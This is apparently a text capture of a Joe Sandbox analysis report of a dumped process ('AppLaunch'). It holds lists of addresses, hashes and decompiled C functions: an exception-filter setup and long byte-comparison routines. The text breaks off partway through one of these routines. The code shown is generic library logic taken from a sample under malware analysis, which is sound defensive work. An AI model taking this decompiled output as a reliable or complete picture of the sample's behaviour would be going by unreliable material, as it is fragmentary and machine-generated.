0x00406bc9
0x00406bc9
0x00406bc9
0x00406bcc
0x00406bce
0x00406bd2
0x00406bd5
0x00406bdd
0x00406bde
0x00406be3
0x004068d8
0x004068d8
0x004068db
0x004068de
0x004068e0
0x004068e2
0x004068e3
0x004068e5
0x004068e8
0x004068ea
0x00406ab6
0x00406ab6
0x00406ab9
0x00406abc
0x00406abf
0x00406ac2
0x00406ac5
0x00000000
0x004068f0
0x004068f0
0x004068f6
0x004068f9
0x004068fc
0x004068ff
0x00406902
0x00406908
0x0040690b
0x0040690e
0x00406911
0x00406914
0x00406917
0x0040691a
0x0040691b
0x0040691c
0x0040691e
0x00406921
0x00000000
0x00406921
0x004068ea
0x004066ff
0x004066ff
0x00406709
0x00406709
0x0040670c
0x0040670e
0x00000000
0x00000000
0x00000000
0x00000000
0x00406710
0x00406710
0x00406710
0x00406714
0x00000000
0x00000000
0x0040671a
0x00406720
0x00406723
0x00406725
0x00406727
0x0040672a
0x0040672d
0x00406734
0x00406736
0x0040673b
0x0040673e
0x00406741
0x00406743
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406743
0x00406a81
0x00406a81
0x00406a84
0x00406a87
0x00406a8a
0x00406a8d
0x00406a90
0x00406a92
0x00406a94
0x00406a96
0x00406a99
0x00406a99
0x00406a99
0x00406a9c
0x00406aa4
0x00406aa7
0x00406aaf
0x00406ab0
0x00406ab5
0x00000000
0x00406745
0x00406745
0x0040674c
0x00406751
0x00406754
0x00406758
0x0040675b
0x0040675e
0x00406761
0x00406764
0x00406783
0x00406786
0x00406791
0x00406791
0x00406794
0x00406788
0x00406788
0x00406788
0x00406797
0x00406799
0x0040679f
0x004067a6
0x004067a9
0x004067ac
0x004067af
0x004067b2
0x004067b4
0x004067f3
0x004067f3
0x004067f6
0x004067f8
0x00406802
0x00406804
0x00406807
0x0040680c
0x0040680e
0x00406811
0x00406814
0x00406819
0x0040681c
0x00406822
0x00406822
0x0040682c
0x0040682e
0x00406830
0x00406b48
0x00406b48
0x00406b4b
0x00406b4e
0x00406b51
0x00406b52
0x00406b53
0x00406b55
0x00406b58
0x00406b5b
0x00406b5e
0x00406b64
0x00406b6b
0x00406b6e
0x00406b73
0x00406b75
0x00406b78
0x00406b7b
0x00406b7b
0x00406b7b
0x00406b7e
0x00406b82
0x00406b85
0x00406b8d
0x00406b8e
0x00406b93
0x00406836
0x00406836
0x0040683a
0x0040684e
0x0040684e
0x00000000
0x0040683c
0x0040683c
0x0040683f
0x00000000
0x00406845
0x00406845
0x00406848
0x00406850
0x00406850
0x00406850
0x00406853
0x00406856
0x00406857
0x00406857
0x00406857
0x00406857
0x0040685c
0x0040685f
0x00000000
0x0040685f
0x0040683f
0x0040683a
0x004067b6
0x004067b6
0x004067c0
0x004067c0
0x004067c4
0x00000000
0x00000000
0x004067ca
0x004067cd
0x004067d0
0x004067d3
0x004067d5
0x004067d7
0x004067dc
0x004067df
0x004067e2
0x004067e4
0x004067eb
0x004067ee
0x004067f1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004067f1
0x004069fb
0x004069fe
0x00406a01
0x00406a01
0x00406a04
0x00406a09
0x00406a0b
0x00406a10
0x00406a17
0x00000000
0x00406a17
0x00406766
0x00406766
0x00406768
0x0040676a
0x0040676d
0x00406770
0x00406773
0x00406776
0x0040677b
0x00406864
0x00406864
0x00406869
0x0040686c
0x00406872
0x00406872
0x00406879
0x0040687c
0x00406706
0x00406709
0x0040670c
0x0040670e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040687c
0x00000000
0x00406764
0x00406709
0x00000000
0x00000000
0x00406927
0x00406927
0x0040692a
0x0040692d
0x00406930
0x00406933
0x00406938
0x0040693a
0x0040693d
0x00406940
0x00406943
0x00406945
0x00406948
0x0040694c
0x0040694e
0x00406950
0x00406958
0x0040695b
0x00000000
0x00406961
0x00406961
0x00406964
0x00406967
0x0040696a
0x0040696b
0x0040696c
0x00406975
0x00406978
0x0040697b
0x0040697d
0x00406980
0x00406983
0x00406986
0x00406989
0x0040698c
0x0040698f
0x00406992
0x00406995
0x00406997
0x0040699e
0x004069a1
0x004069a1
0x00406999
0x00406999
0x0040699b
0x0040699b
0x004069a3
0x004069a7
0x004069aa
0x00406be4
0x00000000
0x004069b0
0x004069b0
0x00000000
0x004069b0
0x004069aa
0x00000000
0x00000000
0x00406bea
0x00406bea
0x00406bed
0x00406bf1
0x00406bf4
0x00406bf9
0x00406bff
0x00406c02
0x00406c05
0x00406c38
0x00000000
0x00406c07
0x00406c07
0x00406c0a
0x00406c0d
0x00406c10
0x00406c13
0x00406c16
0x00406c19
0x00406c1b
0x00406c1d
0x00406c1f
0x00406c22
0x00406c22
0x00406c22
0x00406c25
0x00406c28
0x00406c29
0x00406c31
0x00406c32
0x00406c37
0x00406c37
0x00000000
0x00000000
0x00406c3e
0x00406c3e
0x00406c41
0x00406c44
0x00406c47
0x00406c4a
0x00406c4d
0x00000000
0x00000000
0x00406ad9
0x00406ad9
0x00406adc
0x00406adf
0x00406ae2
0x00406ae5
0x00406ae8
0x00406aea
0x00406aec
0x00406aee
0x00406af1
0x00406af1
0x00406af1
0x00406af4
0x00406af9
0x00406afc
0x00406b04
0x00406b05
0x00406b0a
0x00000000
0x00000000
0x0040638f
0x0040638f
0x00406394
0x0040639a
0x0040639c
0x004063a1
0x004063a3
0x004063a5
0x00000000
0x00000000
0x004063ad
0x004063bb
0x004063bd
0x004063c5
0x004063c8
0x004063ca
0x00406a1a
0x004069cb
0x004069d1
0x004069d4
0x004069d7
0x00000000
0x004063d0
0x004063d0
0x004063d4
0x004063d7
0x004069b6
0x004069b6
0x00000000
0x004069b6
0x00000000
0x00000000
0x004063e2
0x004063e2
0x004063e5
0x004063e8
0x004063eb
0x004069b9
0x004069b9
0x00000000
0x00000000
0x00406a1e
0x00406a21
0x00406a24
0x00406a2a
0x00406a31
0x00406a34
0x00406a3a
0x00406a3d
0x00406a40
0x004069da
0x004069da
0x004069df
0x004069e1
0x004069e3
0x004069e6
0x004069e9
0x004069fa
0x00000000
0x00000000
0x004069be
0x004069be
0x004069c0
0x00000000
0x00406331
0x00000000

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3635fe1024e0ca51e1376a736b973ebc86dc0051f5810707bb537eff9aec7a96
Instruction ID: 6b167079388a3c3929a22ff83ea1a09e6045b70eeba2944451fe0ba1ddab5657
Opcode Fuzzy Hash: 3635fe1024e0ca51e1376a736b973ebc86dc0051f5810707bb537eff9aec7a96
Instruction Fuzzy Hash: 84624CB1A00605DFCB18CF69C5906AEBBF1FF88314F21866ED44AA7785E734AA51CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00434ABA Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00434ABA() {

				SetUnhandledExceptionFilter(E00434A78);
				return 0;
			}

0x00434abf
0x00434ac7

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00034A78), ref: 00434ABF

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 0b0f80d84e80743f3c7e9e826683006be4542d5bd0a044637cbbd97fe9bb0655
Instruction ID: 2abc7c8d226c7a7094b581723879f109646e0f2c4aac93383488ca3dd05a928c
Opcode Fuzzy Hash: 0b0f80d84e80743f3c7e9e826683006be4542d5bd0a044637cbbd97fe9bb0655
Instruction Fuzzy Hash: 509002642D110046961067B46C0D74929906ACD646F5254656142D4454DB645050565D

Uniqueness

Uniqueness Score: -1.00%

Function 0042B85D Relevance: .3, Instructions: 349
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0042B85D(void* __eax, void* __ecx) {
				void* _t191;
				signed int _t192;
				void* _t195;
				signed char _t200;
				signed char _t201;
				signed char _t202;
				signed char _t203;
				signed char _t205;
				signed int _t210;
				signed int _t284;
				void* _t287;
				void* _t289;
				void* _t291;
				void* _t293;
				void* _t296;
				void* _t298;
				void* _t300;
				void* _t303;
				void* _t305;
				void* _t307;
				void* _t310;
				void* _t312;
				void* _t314;
				void* _t317;
				void* _t319;
				void* _t321;
				void* _t324;
				void* _t326;
				void* _t328;

				_t195 = __ecx;
				_t191 = __eax;
				if( *((intOrPtr*)(__eax - 0x1e)) ==  *((intOrPtr*)(__ecx - 0x1e))) {
					_t284 = 0;
					L15:
					if(_t284 != 0) {
						goto L1;
					}
					_t200 =  *(_t191 - 0x1a);
					if(_t200 ==  *(_t195 - 0x1a)) {
						_t284 = 0;
						L26:
						if(_t284 != 0) {
							goto L1;
						}
						_t201 =  *(_t191 - 0x16);
						if(_t201 ==  *(_t195 - 0x16)) {
							_t284 = 0;
							L37:
							if(_t284 != 0) {
								goto L1;
							}
							_t202 =  *(_t191 - 0x12);
							if(_t202 ==  *(_t195 - 0x12)) {
								_t284 = 0;
								L48:
								if(_t284 != 0) {
									goto L1;
								}
								_t203 =  *(_t191 - 0xe);
								if(_t203 ==  *(_t195 - 0xe)) {
									_t284 = 0;
									L59:
									if(_t284 != 0) {
										goto L1;
									}
									if( *(_t191 - 0xa) ==  *(_t195 - 0xa)) {
										_t284 = 0;
										L70:
										if(_t284 != 0) {
											goto L1;
										}
										_t205 =  *(_t191 - 6);
										if(_t205 ==  *(_t195 - 6)) {
											_t284 = 0;
											L81:
											if(_t284 != 0) {
												goto L1;
											}
											if( *(_t191 - 2) ==  *(_t195 - 2)) {
												_t192 = 0;
												L3:
												return _t192;
											}
											_t287 = ( *(_t191 - 2) & 0x000000ff) - ( *(_t195 - 2) & 0x000000ff);
											if(_t287 == 0) {
												L4:
												_t192 = ( *(_t191 - 1) & 0x000000ff) - ( *(_t195 - 1) & 0x000000ff);
												if(_t192 != 0) {
													_t8 = (0 | _t192 > 0x00000000) - 1; // -1
													_t192 = (_t192 > 0) + _t8;
												}
												goto L3;
											}
											_t210 = (0 | _t287 > 0x00000000) + (0 | _t287 > 0x00000000) - 1;
											if(_t210 != 0) {
												_t192 = _t210;
												goto L3;
											}
											goto L4;
										}
										_t289 = (_t205 & 0x000000ff) - ( *(_t195 - 6) & 0x000000ff);
										if(_t289 == 0) {
											L74:
											_t291 = ( *(_t191 - 5) & 0x000000ff) - ( *(_t195 - 5) & 0x000000ff);
											if(_t291 == 0) {
												L76:
												_t293 = ( *(_t191 - 4) & 0x000000ff) - ( *(_t195 - 4) & 0x000000ff);
												if(_t293 == 0) {
													L78:
													_t284 = ( *(_t191 - 3) & 0x000000ff) - ( *(_t195 - 3) & 0x000000ff);
													if(_t284 != 0) {
														_t182 = (0 | _t284 > 0x00000000) - 1; // -1
														_t284 = (_t284 > 0) + _t182;
													}
													goto L81;
												}
												_t176 = (0 | _t293 > 0x00000000) - 1; // -1
												_t284 = (_t293 > 0) + _t176;
												if(_t284 != 0) {
													goto L1;
												}
												goto L78;
											}
											_t170 = (0 | _t291 > 0x00000000) - 1; // -1
											_t284 = (_t291 > 0) + _t170;
											if(_t284 != 0) {
												goto L1;
											}
											goto L76;
										}
										_t164 = (0 | _t289 > 0x00000000) - 1; // -1
										_t284 = (_t289 > 0) + _t164;
										if(_t284 != 0) {
											goto L1;
										}
										goto L74;
									}
									_t296 = ( *(_t191 - 0xa) & 0x000000ff) - ( *(_t195 - 0xa) & 0x000000ff);
									if(_t296 == 0) {
										L63:
										_t298 = ( *(_t191 - 9) & 0x000000ff) - ( *(_t195 - 9) & 0x000000ff);
										if(_t298 == 0) {
											L65:
											_t300 = ( *(_t191 - 8) & 0x000000ff) - ( *(_t195 - 8) & 0x000000ff);
											if(_t300 == 0) {
												L67:
												_t284 = ( *(_t191 - 7) & 0x000000ff) - ( *(_t195 - 7) & 0x000000ff);
												if(_t284 != 0) {
													_t157 = (0 | _t284 > 0x00000000) - 1; // -1
													_t284 = (_t284 > 0) + _t157;
												}
												goto L70;
											}
											_t151 = (0 | _t300 > 0x00000000) - 1; // -1
											_t284 = (_t300 > 0) + _t151;
											if(_t284 != 0) {
												goto L1;
											}
											goto L67;
										}
										_t145 = (0 | _t298 > 0x00000000) - 1; // -1
										_t284 = (_t298 > 0) + _t145;
										if(_t284 != 0) {
											goto L1;
										}
										goto L65;
									}
									_t139 = (0 | _t296 > 0x00000000) - 1; // -1
									_t284 = (_t296 > 0) + _t139;
									if(_t284 != 0) {
										goto L1;
									}
									goto L63;
								}
								_t303 = (_t203 & 0x000000ff) - ( *(_t195 - 0xe) & 0x000000ff);
								if(_t303 == 0) {
									L52:
									_t305 = ( *(_t191 - 0xd) & 0x000000ff) - ( *(_t195 - 0xd) & 0x000000ff);
									if(_t305 == 0) {
										L54:
										_t307 = ( *(_t191 - 0xc) & 0x000000ff) - ( *(_t195 - 0xc) & 0x000000ff);
										if(_t307 == 0) {
											L56:
											_t284 = ( *(_t191 - 0xb) & 0x000000ff) - ( *(_t195 - 0xb) & 0x000000ff);
											if(_t284 != 0) {
												_t131 = (0 | _t284 > 0x00000000) - 1; // -1
												_t284 = (_t284 > 0) + _t131;
											}
											goto L59;
										}
										_t125 = (0 | _t307 > 0x00000000) - 1; // -1
										_t284 = (_t307 > 0) + _t125;
										if(_t284 != 0) {
											goto L1;
										}
										goto L56;
									}
									_t119 = (0 | _t305 > 0x00000000) - 1; // -1
									_t284 = (_t305 > 0) + _t119;
									if(_t284 != 0) {
										goto L1;
									}
									goto L54;
								}
								_t113 = (0 | _t303 > 0x00000000) - 1; // -1
								_t284 = (_t303 > 0) + _t113;
								if(_t284 != 0) {
									goto L1;
								}
								goto L52;
							}
							_t310 = (_t202 & 0x000000ff) - ( *(_t195 - 0x12) & 0x000000ff);
							if(_t310 == 0) {
								L41:
								_t312 = ( *(_t191 - 0x11) & 0x000000ff) - ( *(_t195 - 0x11) & 0x000000ff);
								if(_t312 == 0) {
									L43:
									_t314 = ( *(_t191 - 0x10) & 0x000000ff) - ( *(_t195 - 0x10) & 0x000000ff);
									if(_t314 == 0) {
										L45:
										_t284 = ( *(_t191 - 0xf) & 0x000000ff) - ( *(_t195 - 0xf) & 0x000000ff);
										if(_t284 != 0) {
											_t106 = (0 | _t284 > 0x00000000) - 1; // -1
											_t284 = (_t284 > 0) + _t106;
										}
										goto L48;
									}
									_t100 = (0 | _t314 > 0x00000000) - 1; // -1
									_t284 = (_t314 > 0) + _t100;
									if(_t284 != 0) {
										goto L1;
									}
									goto L45;
								}
								_t94 = (0 | _t312 > 0x00000000) - 1; // -1
								_t284 = (_t312 > 0) + _t94;
								if(_t284 != 0) {
									goto L1;
								}
								goto L43;
							}
							_t88 = (0 | _t310 > 0x00000000) - 1; // -1
							_t284 = (_t310 > 0) + _t88;
							if(_t284 != 0) {
								goto L1;
							}
							goto L41;
						}
						_t317 = (_t201 & 0x000000ff) - ( *(_t195 - 0x16) & 0x000000ff);
						if(_t317 == 0) {
							L30:
							_t319 = ( *(_t191 - 0x15) & 0x000000ff) - ( *(_t195 - 0x15) & 0x000000ff);
							if(_t319 == 0) {
								L32:
								_t321 = ( *(_t191 - 0x14) & 0x000000ff) - ( *(_t195 - 0x14) & 0x000000ff);
								if(_t321 == 0) {
									L34:
									_t284 = ( *(_t191 - 0x13) & 0x000000ff) - ( *(_t195 - 0x13) & 0x000000ff);
									if(_t284 != 0) {
										_t81 = (0 | _t284 > 0x00000000) - 1; // -1
										_t284 = (_t284 > 0) + _t81;
									}
									goto L37;
								}
								_t75 = (0 | _t321 > 0x00000000) - 1; // -1
								_t284 = (_t321 > 0) + _t75;
								if(_t284 != 0) {
									goto L1;
								}
								goto L34;
							}
							_t69 = (0 | _t319 > 0x00000000) - 1; // -1
							_t284 = (_t319 > 0) + _t69;
							if(_t284 != 0) {
								goto L1;
							}
							goto L32;
						}
						_t63 = (0 | _t317 > 0x00000000) - 1; // -1
						_t284 = (_t317 > 0) + _t63;
						if(_t284 != 0) {
							goto L1;
						}
						goto L30;
					}
					_t324 = (_t200 & 0x000000ff) - ( *(_t195 - 0x1a) & 0x000000ff);
					if(_t324 == 0) {
						L19:
						_t326 = ( *(_t191 - 0x19) & 0x000000ff) - ( *(_t195 - 0x19) & 0x000000ff);
						if(_t326 == 0) {
							L21:
							_t328 = ( *(_t191 - 0x18) & 0x000000ff) - ( *(_t195 - 0x18) & 0x000000ff);
							if(_t328 == 0) {
								L23:
								_t284 = ( *(_t191 - 0x17) & 0x000000ff) - ( *(_t195 - 0x17) & 0x000000ff);
								if(_t284 != 0) {
									_t56 = (0 | _t284 > 0x00000000) - 1; // -1
									_t284 = (_t284 > 0) + _t56;
								}
								goto L26;
							}
							_t50 = (0 | _t328 > 0x00000000) - 1; // -1
							_t284 = (_t328 > 0) + _t50;
							if(_t284 != 0) {
								goto L1;
							}
							goto L23;
						}
						_t44 = (0 | _t326 > 0x00000000) - 1; // -1
						_t284 = (_t326 > 0) + _t44;
						if(_t284 != 0) {
							goto L1;
						}
						goto L21;
					}
					_t38 = (0 | _t324 > 0x00000000) - 1; // -1
					_t284 = (_t324 > 0) + _t38;
					if(_t284 != 0) {
						goto L1;
					}
					goto L19;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1e) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1e) & 0x000000ff);
					if(__esi == 0) {
						L8:
						__esi =  *(__eax - 0x1d) & 0x000000ff;
						__edx =  *(__ecx - 0x1d) & 0x000000ff;
						__esi = ( *(__eax - 0x1d) & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
						if(__esi == 0) {
							L10:
							__esi =  *(__eax - 0x1c) & 0x000000ff;
							__edx =  *(__ecx - 0x1c) & 0x000000ff;
							__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
							if(__esi == 0) {
								L12:
								__esi =  *(__eax - 0x1b) & 0x000000ff;
								__edx =  *(__ecx - 0x1b) & 0x000000ff;
								__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
								if(__esi != 0) {
									__edx = 0;
									_t31 = (0 | __esi > 0x00000000) - 1; // -1
									__esi = (__esi > 0) + _t31;
								}
								goto L15;
							}
							__edx = 0;
							__edx = 0 | __esi > 0x00000000;
							_t25 = __edx - 1; // -1
							__esi = __edx + _t25;
							if(__edx + _t25 != 0) {
								goto L1;
							}
							goto L12;
						}
						__edx = 0;
						__edx = 0 | __esi > 0x00000000;
						_t19 = __edx - 1; // -1
						__esi = __edx + _t19;
						if(__edx + _t19 != 0) {
							goto L1;
						}
						goto L10;
					}
					__edx = 0;
					__edx = 0 | __esi > 0x00000000;
					_t13 = __edx - 1; // -1
					__esi = __edx + _t13;
					if(__edx + _t13 != 0) {
						goto L1;
					}
					goto L8;
				}
				L1:
				_t192 = _t284;
				goto L3;
			}

0x0042b85d
0x0042b85d
0x0042b863
0x0042b8da
0x0042b8dc
0x0042b8de
0x00000000
0x00000000
0x0042b8e4
0x0042b8ea
0x0042b961
0x0042b963
0x0042b965
0x00000000
0x00000000
0x0042b96b
0x0042b971
0x0042b9e8
0x0042b9ea
0x0042b9ec
0x00000000
0x00000000
0x0042b9f2
0x0042b9f8
0x0042ba6f
0x0042ba71
0x0042ba73
0x00000000
0x00000000
0x0042ba79
0x0042ba7f
0x0042baf6
0x0042baf8
0x0042bafa
0x00000000
0x00000000
0x0042bb06
0x0042bb7e
0x0042bb80
0x0042bb82
0x00000000
0x00000000
0x0042bb88
0x0042bb8e
0x0042bc05
0x0042bc07
0x0042bc09
0x00000000
0x00000000
0x0042bc17
0x0042b483
0x0042b485
0x0042c129
0x0042c129
0x0042bc25
0x0042bc27
0x0042b83d
0x0042b845
0x0042b847
0x0042b854
0x0042b854
0x0042b854
0x00000000
0x0042b847
0x0042bc34
0x0042bc3a
0x0042c01b
0x00000000
0x0042c01b
0x00000000
0x0042bc40
0x0042bb97
0x0042bb99
0x0042bbae
0x0042bbb6
0x0042bbb8
0x0042bbcd
0x0042bbd5
0x0042bbd7
0x0042bbec
0x0042bbf4
0x0042bbf6
0x0042bbff
0x0042bbff
0x0042bbff
0x00000000
0x0042bbf6
0x0042bbe0
0x0042bbe0
0x0042bbe6
0x00000000
0x00000000
0x00000000
0x0042bbe6
0x0042bbc1
0x0042bbc1
0x0042bbc7
0x00000000
0x00000000
0x00000000
0x0042bbc7
0x0042bba2
0x0042bba2
0x0042bba8
0x00000000
0x00000000
0x00000000
0x0042bba8
0x0042bb10
0x0042bb12
0x0042bb27
0x0042bb2f
0x0042bb31
0x0042bb46
0x0042bb4e
0x0042bb50
0x0042bb65
0x0042bb6d
0x0042bb6f
0x0042bb78
0x0042bb78
0x0042bb78
0x00000000
0x0042bb6f
0x0042bb59
0x0042bb59
0x0042bb5f
0x00000000
0x00000000
0x00000000
0x0042bb5f
0x0042bb3a
0x0042bb3a
0x0042bb40
0x00000000
0x00000000
0x00000000
0x0042bb40
0x0042bb1b
0x0042bb1b
0x0042bb21
0x00000000
0x00000000
0x00000000
0x0042bb21
0x0042ba88
0x0042ba8a
0x0042ba9f
0x0042baa7
0x0042baa9
0x0042babe
0x0042bac6
0x0042bac8
0x0042badd
0x0042bae5
0x0042bae7
0x0042baf0
0x0042baf0
0x0042baf0
0x00000000
0x0042bae7
0x0042bad1
0x0042bad1
0x0042bad7
0x00000000
0x00000000
0x00000000
0x0042bad7
0x0042bab2
0x0042bab2
0x0042bab8
0x00000000
0x00000000
0x00000000
0x0042bab8
0x0042ba93
0x0042ba93
0x0042ba99
0x00000000
0x00000000
0x00000000
0x0042ba99
0x0042ba01
0x0042ba03
0x0042ba18
0x0042ba20
0x0042ba22
0x0042ba37
0x0042ba3f
0x0042ba41
0x0042ba56
0x0042ba5e
0x0042ba60
0x0042ba69
0x0042ba69
0x0042ba69
0x00000000
0x0042ba60
0x0042ba4a
0x0042ba4a
0x0042ba50
0x00000000
0x00000000
0x00000000
0x0042ba50
0x0042ba2b
0x0042ba2b
0x0042ba31
0x00000000
0x00000000
0x00000000
0x0042ba31
0x0042ba0c
0x0042ba0c
0x0042ba12
0x00000000
0x00000000
0x00000000
0x0042ba12
0x0042b97a
0x0042b97c
0x0042b991
0x0042b999
0x0042b99b
0x0042b9b0
0x0042b9b8
0x0042b9ba
0x0042b9cf
0x0042b9d7
0x0042b9d9
0x0042b9e2
0x0042b9e2
0x0042b9e2
0x00000000
0x0042b9d9
0x0042b9c3
0x0042b9c3
0x0042b9c9
0x00000000
0x00000000
0x00000000
0x0042b9c9
0x0042b9a4
0x0042b9a4
0x0042b9aa
0x00000000
0x00000000
0x00000000
0x0042b9aa
0x0042b985
0x0042b985
0x0042b98b
0x00000000
0x00000000
0x00000000
0x0042b98b
0x0042b8f3
0x0042b8f5
0x0042b90a
0x0042b912
0x0042b914
0x0042b929
0x0042b931
0x0042b933
0x0042b948
0x0042b950
0x0042b952
0x0042b95b
0x0042b95b
0x0042b95b
0x00000000
0x0042b952
0x0042b93c
0x0042b93c
0x0042b942
0x00000000
0x00000000
0x00000000
0x0042b942
0x0042b91d
0x0042b91d
0x0042b923
0x00000000
0x00000000
0x00000000
0x0042b923
0x0042b8fe
0x0042b8fe
0x0042b904
0x00000000
0x00000000
0x00000000
0x0042b865
0x0042b865
0x0042b868
0x0042b86c
0x0042b86e
0x0042b883
0x0042b883
0x0042b887
0x0042b88b
0x0042b88d
0x0042b8a2
0x0042b8a2
0x0042b8a6
0x0042b8aa
0x0042b8ac
0x0042b8c1
0x0042b8c1
0x0042b8c5
0x0042b8c9
0x0042b8cb
0x0042b8cd
0x0042b8d4
0x0042b8d4
0x0042b8d4
0x00000000
0x0042b8cb
0x0042b8ae
0x0042b8b2
0x0042b8b5
0x0042b8b5
0x0042b8bb
0x00000000
0x00000000
0x00000000
0x0042b8bb
0x0042b88f
0x0042b893
0x0042b896
0x0042b896
0x0042b89c
0x00000000
0x00000000
0x00000000
0x0042b89c
0x0042b870
0x0042b874
0x0042b877
0x0042b877
0x0042b87d
0x00000000
0x00000000
0x00000000
0x0042b87d
0x0042b0e6
0x0042b0e6
0x00000000

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction ID: f976cc3c24bdc72322121171a190695d679f5d28da271a6410295f068a73726b
Opcode Fuzzy Hash: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction Fuzzy Hash: 6BC17073E0E5B2068736456D295823BFF62AE81B4035BC396DCE03F28AD32B6D05D6D4

Uniqueness

Uniqueness Score: -1.00%

Function 0042B0ED Relevance: .3, Instructions: 326
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0042B0ED(void* __eax, void* __ecx) {
				void* _t177;
				signed int _t178;
				void* _t181;
				signed char _t186;
				signed char _t187;
				signed char _t188;
				signed char _t190;
				signed char _t191;
				signed int _t197;
				signed int _t263;
				void* _t266;
				void* _t268;
				void* _t270;
				void* _t272;
				void* _t274;
				void* _t276;
				void* _t279;
				void* _t281;
				void* _t283;
				void* _t286;
				void* _t288;
				void* _t290;
				void* _t293;
				void* _t295;
				void* _t297;
				void* _t300;
				void* _t302;
				void* _t304;

				_t181 = __ecx;
				_t177 = __eax;
				if( *((intOrPtr*)(__eax - 0x1c)) ==  *((intOrPtr*)(__ecx - 0x1c))) {
					_t263 = 0;
					L11:
					if(_t263 != 0) {
						goto L1;
					}
					_t186 =  *(_t177 - 0x18);
					if(_t186 ==  *(_t181 - 0x18)) {
						_t263 = 0;
						L22:
						if(_t263 != 0) {
							goto L1;
						}
						_t187 =  *(_t177 - 0x14);
						if(_t187 ==  *(_t181 - 0x14)) {
							_t263 = 0;
							L33:
							if(_t263 != 0) {
								goto L1;
							}
							_t188 =  *(_t177 - 0x10);
							if(_t188 ==  *(_t181 - 0x10)) {
								_t263 = 0;
								L44:
								if(_t263 != 0) {
									goto L1;
								}
								if( *(_t177 - 0xc) ==  *(_t181 - 0xc)) {
									_t263 = 0;
									L55:
									if(_t263 != 0) {
										goto L1;
									}
									_t190 =  *(_t177 - 8);
									if(_t190 ==  *(_t181 - 8)) {
										_t263 = 0;
										L66:
										if(_t263 != 0) {
											goto L1;
										}
										_t191 =  *(_t177 - 4);
										if(_t191 ==  *(_t181 - 4)) {
											_t178 = 0;
											L78:
											if(_t178 == 0) {
												_t178 = 0;
											}
											L80:
											return _t178;
										}
										_t266 = (_t191 & 0x000000ff) - ( *(_t181 - 4) & 0x000000ff);
										if(_t266 == 0) {
											L70:
											_t268 = ( *(_t177 - 3) & 0x000000ff) - ( *(_t181 - 3) & 0x000000ff);
											if(_t268 == 0) {
												L72:
												_t270 = ( *(_t177 - 2) & 0x000000ff) - ( *(_t181 - 2) & 0x000000ff);
												if(_t270 == 0) {
													L75:
													_t178 = ( *(_t177 - 1) & 0x000000ff) - ( *(_t181 - 1) & 0x000000ff);
													if(_t178 != 0) {
														_t176 = (0 | _t178 > 0x00000000) - 1; // -1
														_t178 = (_t178 > 0) + _t176;
													}
													goto L78;
												}
												_t197 = (0 | _t270 > 0x00000000) + (0 | _t270 > 0x00000000) - 1;
												if(_t197 == 0) {
													goto L75;
												}
												L74:
												_t178 = _t197;
												goto L78;
											}
											_t197 = (0 | _t268 > 0x00000000) + (0 | _t268 > 0x00000000) - 1;
											if(_t197 != 0) {
												goto L74;
											}
											goto L72;
										}
										_t197 = (0 | _t266 > 0x00000000) + (0 | _t266 > 0x00000000) - 1;
										if(_t197 != 0) {
											goto L74;
										}
										goto L70;
									}
									_t272 = (_t190 & 0x000000ff) - ( *(_t181 - 8) & 0x000000ff);
									if(_t272 == 0) {
										L59:
										_t274 = ( *(_t177 - 7) & 0x000000ff) - ( *(_t181 - 7) & 0x000000ff);
										if(_t274 == 0) {
											L61:
